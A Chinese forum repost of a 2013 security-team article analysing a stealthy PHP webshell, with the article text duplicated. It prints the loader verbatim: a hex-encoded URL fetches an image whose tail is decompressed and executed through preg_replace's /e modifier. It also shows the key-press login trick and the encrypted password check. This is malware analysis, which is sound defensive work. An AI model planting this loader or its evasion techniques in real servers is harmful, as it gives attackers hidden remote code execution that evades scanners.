-
-
一款猥琐的PHP后门分析
-
发表于: 2014-3-22 17:02 701
-
新闻链接:fa1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8Y4N6W2j5W2)9J5c8U0t1&6x3K6l9%4i4K6u0W2K9s2c8E0L8l9`.`.
新闻时间:2013-03-19
新闻正文:
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
Webshell代码如下:
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
关键看下面这句代码,
这里执行之后其实是一张图片,解密出来的图片地址如下:
3c5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0N6K6K9r3g2D9L8q4)9J5k6h3N6G2L8$3N6D9k6h3y4G2k6r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6X3&6Q4x3V1k6E0j5h3E0W2i4K6u0W2K9Y4m8Y4i4K6y4r3y4e0x3J5z5o6m8T1x3o6m8X3x3h3f1^5y4b7`.`.
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…),其实整个webshell就一个class外加三个function
首先我先看一下它的前端html代码,其中有这么一段js程序
这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键
所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),
再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,
先看这句代码
$true =
@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));
根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))
所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下
这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑
这里跟前面POST的逻辑一样,下面当判断为’true’以后,这里又请求了一张图片,pack出来地址为ec5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0t1H3x3e0u0Z5k6h3W2C8k6g2)9J5k6h3N6G2L8$3N6D9k6h3y4G2k6r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6X3&6Q4x3V1k6@1M7Y4g2F1K9#2)9J5c8X3y4G2k6r3g2Q4x3X3g2B7M7r3N6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0N6Q4z5o6c8Q4b7U0k6Q4c8e0g2Q4z5e0m8Q4z5p5g2Q4c8e0S2Q4b7U0m8Q4z5o6y4Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4y4h3k6d9c8g2q4g2c8g2y4f1i4@1f1^5i4K6S2q4i4@1t1%4i4@1f1#2i4K6S2r3i4K6V1$3i4@1f1#2i4K6W2n7i4@1u0q4i4@1f1%4i4K6R3&6i4K6R3%4i4@1f1#2i4K6R3$3i4K6R3#2i4@1f1#2i4@1q4q4i4@1t1&6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1#2i4@1q4r3i4K6R3$3i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1#2i4K6S2q4i4K6S2n7i4@1f1@1i4@1t1&6i4K6S2n7i4@1f1#2i4K6V1H3i4K6S2q4i4@1f1#2i4K6R3$3i4K6S2p5k6i4k6S2L8q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4W2)9&6c8g2)9&6x3q4!0q4y4q4!0n7z5g2)9^5b7W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4g2)9^5c8W2)9&6x3g2!0q4y4#2)9^5c8g2!0n7x3r3y4G2k6r3g2Q4x3X3g2B7M7r3N6Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8e0k6Q4z5o6W2Q4z5p5c8Q4c8e0k6Q4z5e0S2Q4b7f1k6Q4c8e0N6Q4z5f1y4Q4z5f1k6Q4c8e0k6Q4b7f1c8Q4b7e0y4Q4c8e0N6Q4z5f1q4Q4z5o6c8%4k6h3u0K6K9r3g2D9L8q4!0q4y4#2!0n7b7W2)9^5c8W2!0q4z5q4!0n7c8W2)9^5y4#2!0q4y4g2)9^5b7g2!0m8x3q4!0q4y4g2!0m8c8W2)9^5y4W2!0q4y4g2)9^5c8g2)9^5b7W2!0q4y4#2!0n7b7#2!0m8z5g2!0q4y4q4!0n7z5g2)9^5b7W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2)9^5y4W2)9^5y4g2!0q4y4g2!0m8c8g2!0n7z5g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4z5g2)9^5y4#2)9^5b7#2!0q4y4W2)9^5z5q4)9&6x3g2!0q4z5q4!0n7y4#2)9&6c8W2!0q4z5q4!0n7z5q4!0m8b7g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4y4q4!0n7z5q4)9^5x3q4!0q4y4q4!0n7z5q4)9^5b7W2!0q4y4q4!0n7b7W2!0m8x3#2!0q4y4#2!0m8x3q4)9^5x3g2!0q4y4W2)9^5z5g2)9&6x3#2!0q4y4g2)9^5c8q4!0n7x3q4!0q4y4g2)9^5y4#2!0n7b7g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4y4#2)9&6b7#2)9&6c8W2!0q4y4W2!0m8c8q4!0m8x3#2!0q4y4W2)9^5z5g2!0m8y4#2!0q4z5q4!0m8x3g2)9^5b7#2!0q4y4#2)9&6b7g2)9^5y4s2N6W2j5Y4y4Z5k6h3I4D9i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6R3$3i4K6R3#2i4@1f1#2i4@1q4q4i4@1t1&6i4@1g2r3i4@1u0o6i4K6S2o6
总结:
这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!
新闻时间:2013-03-19
新闻正文:
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
Webshell代码如下:
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
关键看下面这句代码,
- sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())
这里执行之后其实是一张图片,解密出来的图片地址如下:
3c5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0N6K6K9r3g2D9L8q4)9J5k6h3N6G2L8$3N6D9k6h3y4G2k6r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6X3&6Q4x3V1k6E0j5h3E0W2i4K6u0W2K9Y4m8Y4i4K6y4r3y4e0x3J5z5o6m8T1x3o6m8X3x3h3f1^5y4b7`.`.
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
- <?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>
分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…),其实整个webshell就一个class外加三个function
首先我先看一下它的前端html代码,其中有这么一段js程序
- document.onkeydown = function(e) {
vartheEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}
这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键
所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),
再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,
先看这句代码
$true =
@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));
根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))
所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下
- function callback() {
varjson = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}
这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑
这里跟前面POST的逻辑一样,下面当判断为’true’以后,这里又请求了一张图片,pack出来地址为ec5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0t1H3x3e0u0Z5k6h3W2C8k6g2)9J5k6h3N6G2L8$3N6D9k6h3y4G2k6r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6X3&6Q4x3V1k6@1M7Y4g2F1K9#2)9J5c8X3y4G2k6r3g2Q4x3X3g2B7M7r3N6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0N6Q4z5o6c8Q4b7U0k6Q4c8e0g2Q4z5e0m8Q4z5p5g2Q4c8e0S2Q4b7U0m8Q4z5o6y4Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4y4h3k6d9c8g2q4g2c8g2y4f1i4@1f1^5i4K6S2q4i4@1t1%4i4@1f1#2i4K6S2r3i4K6V1$3i4@1f1#2i4K6W2n7i4@1u0q4i4@1f1%4i4K6R3&6i4K6R3%4i4@1f1#2i4K6R3$3i4K6R3#2i4@1f1#2i4@1q4q4i4@1t1&6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1#2i4@1q4r3i4K6R3$3i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1#2i4K6S2q4i4K6S2n7i4@1f1@1i4@1t1&6i4K6S2n7i4@1f1#2i4K6V1H3i4K6S2q4i4@1f1#2i4K6R3$3i4K6S2p5k6i4k6S2L8q4!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2)9^5z5q4)9^5y4W2!0q4y4W2)9&6c8g2)9&6x3q4!0q4y4q4!0n7z5g2)9^5b7W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4g2)9^5c8W2)9&6x3g2!0q4y4#2)9^5c8g2!0n7x3r3y4G2k6r3g2Q4x3X3g2B7M7r3N6Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8e0k6Q4z5o6W2Q4z5p5c8Q4c8e0k6Q4z5e0S2Q4b7f1k6Q4c8e0N6Q4z5f1y4Q4z5f1k6Q4c8e0k6Q4b7f1c8Q4b7e0y4Q4c8e0N6Q4z5f1q4Q4z5o6c8%4k6h3u0K6K9r3g2D9L8q4!0q4y4#2!0n7b7W2)9^5c8W2!0q4z5q4!0n7c8W2)9^5y4#2!0q4y4g2)9^5b7g2!0m8x3q4!0q4y4g2!0m8c8W2)9^5y4W2!0q4y4g2)9^5c8g2)9^5b7W2!0q4y4#2!0n7b7#2!0m8z5g2!0q4y4q4!0n7z5g2)9^5b7W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4g2)9^5y4W2)9^5y4g2!0q4y4g2!0m8c8g2!0n7z5g2!0q4x3#2)9^5x3q4)9^5x3W2!0q4z5q4!0n7c8W2)9&6z5g2!0q4z5g2)9^5y4#2)9^5b7#2!0q4y4W2)9^5z5q4)9&6x3g2!0q4z5q4!0n7y4#2)9&6c8W2!0q4z5q4!0n7z5q4!0m8b7g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4y4q4!0n7z5q4)9^5x3q4!0q4y4q4!0n7z5q4)9^5b7W2!0q4y4q4!0n7b7W2!0m8x3#2!0q4y4#2!0m8x3q4)9^5x3g2!0q4y4W2)9^5z5g2)9&6x3#2!0q4y4g2)9^5c8q4!0n7x3q4!0q4y4g2)9^5y4#2!0n7b7g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4y4#2)9&6b7#2)9&6c8W2!0q4y4W2!0m8c8q4!0m8x3#2!0q4y4W2)9^5z5g2!0m8y4#2!0q4z5q4!0m8x3g2)9^5b7#2!0q4y4#2)9&6b7g2)9^5y4s2N6W2j5Y4y4Z5k6h3I4D9i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6R3$3i4K6R3#2i4@1f1#2i4@1q4q4i4@1t1&6i4@1g2r3i4@1u0o6i4K6S2o6
总结:
这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!
赞赏
赞赏
雪币:
留言: